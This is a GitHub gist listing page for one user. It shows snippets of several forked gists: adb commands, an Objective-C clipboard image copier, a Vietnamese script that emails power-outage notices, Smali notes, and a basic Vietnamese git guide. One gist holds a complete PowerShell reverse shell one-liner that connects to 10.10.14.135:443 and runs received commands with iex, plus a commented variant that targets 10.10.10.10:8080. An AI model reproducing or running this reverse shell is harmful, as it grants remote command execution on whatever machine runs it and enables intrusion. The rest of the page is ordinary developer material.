Skip to content

Instantly share code, notes, and snippets.

View paulcoding810's full-sized avatar

Paul paulcoding810

View GitHub Profile
@paulcoding810
paulcoding810 / AdbCommands
Created February 11, 2025 13:08 — forked from Pulimet/AdbCommands
Adb useful commands list
Hi All!
I've recently launched a tool that wraps many of the commands here with a user interface. This desktop application is currently available for macOS. There's a roadmap outlining planned features for the near future.
Feel free to request any features you'd like to see, and I'll prioritize them accordingly.
One of the most important aspects of this application is that every command executed behind the scenes is displayed in a special log section. This allows you to see exactly what’s happening and learn from it.
Here's the link to the repository: https://github.com/Pulimet/ADBugger
App Description:
ADBugger is a desktop tool designed for debugging and QA of Android devices and emulators. It simplifies testing, debugging, and performance analysis by offering device management, automated testing, log analysis, and remote control capabilities. This ensures smooth app performance across various setups.
@paulcoding810
paulcoding810 / impbcopy.m
Created February 10, 2025 08:20 — forked from mwender/impbcopy.m
Command line copy an image file to the clipboard in Mac OS X. See first comment for install instructions.
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
#import <unistd.h>
BOOL copy_to_clipboard(NSString *path)
{
// http://stackoverflow.com/questions/2681630/how-to-read-png-image-to-nsimage
NSImage * image;
if([path isEqualToString:@"-"])
{
// http://caiustheory.com/read-standard-input-using-objective-c
@paulcoding810
paulcoding810 / Lichcupdien.js
Created January 1, 2025 08:57 — forked from ntkhang03/Lichcupdien.js
Gửi thông báo lịch cúp điện qua Email (Sử dụng Google App Scritp)
// 📌 Description: Crawl lịch cúp điện từ trang web lichcupdien và gửi email thông báo
// ⚠️ Lưu ý: Script này chỉ có thể lấy dữ liệu từ trang web lichcupdien.org, không thể hoạt động với các trang web khác
// Các URL cần lấy dữ liệu
// Mỗi url (tương ứng với tỉnh/thành phố) có thể lọc ra các khu vực cần thiết để nhận thông báo, cách nhau bởi dấu phẩy
// Nếu muốn lấy thông báo cúp điện từ tất cả các khu vực của một tỉnh/thành phố, điền <ALL>
// Điền theo mẫu như ví dụ bên dưới, mỗi url (tỉnh/thành phố) cách nhau bởi dấu xuống dòng
// Ví dụ: Muốn lấy thông báo cúp điện từ Phú Quới (Vĩnh Long), Tắc Vân và Định Bình (Cà Mau), tất cả khu vực ở An Giang
const urlString = `
https://lichcupdien.org/lich-cup-dien-vinh-long: Phú Quới
A little help in Smali
(To be supplemented)
#
general information
#
Smali
Types
Dalvik bytecode has two main type classes, primitive types and reference types. Reference types are objects and arrays, everything else is primitive.
@paulcoding810
paulcoding810 / _grasp.md
Last active September 11, 2022 05:19
android minor knowledges

grasp

  • collect minor codes ...
We couldn’t find that file to show.
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.135",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",8080);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
# {"mode":"full","isActive":false}
@paulcoding810
paulcoding810 / Hướng dẫn dùng git cơ bản
Created October 7, 2020 12:59 — forked from Haosvit/Hướng dẫn dùng git cơ bản
Cái này viết khi làm chung đồ án với bạn hồi đại học, rất cơ bản. Ai chưa biết thì đọc qua, rồi dùng một thời gian sẽ quen.
I. Giới thiệu Git:
* Tóm tắt:
- Git dùng để quản lý phiên bản code, rất thuận lợi trong làm việc nhóm thậm chí làm 1 mình.
Git có nhiều trang hỗ trợ như: github.com, bitbucket.com, ... không phải git là chỉ riêng trang github, git giống như là 1 chuẩn
quản lý phiên bản, ngoài ra còn có SVN là 1 chuẩn khác để quản lý phiên bản (theo cách hiểu của t).
II. Các khái niệm trong git:
+ Repository (kho): là thư mục. Thư mục trên github.com gọi là remote (xa) repository (kho), còn ở máy tính là local repository.
+ Branch (nhánh): ví dụ t làm 1 phần trên 1 nhánh, m rẽ sang nhánh khác làm chức năng khác, sau này hộp lại (merge)
+ Remote (máy chủ): khỏi giải thích, lát ví dụ
+ add (thêm): sau khi làm gì đó thay đổi thì add (thêm) cái thay đổi đó vào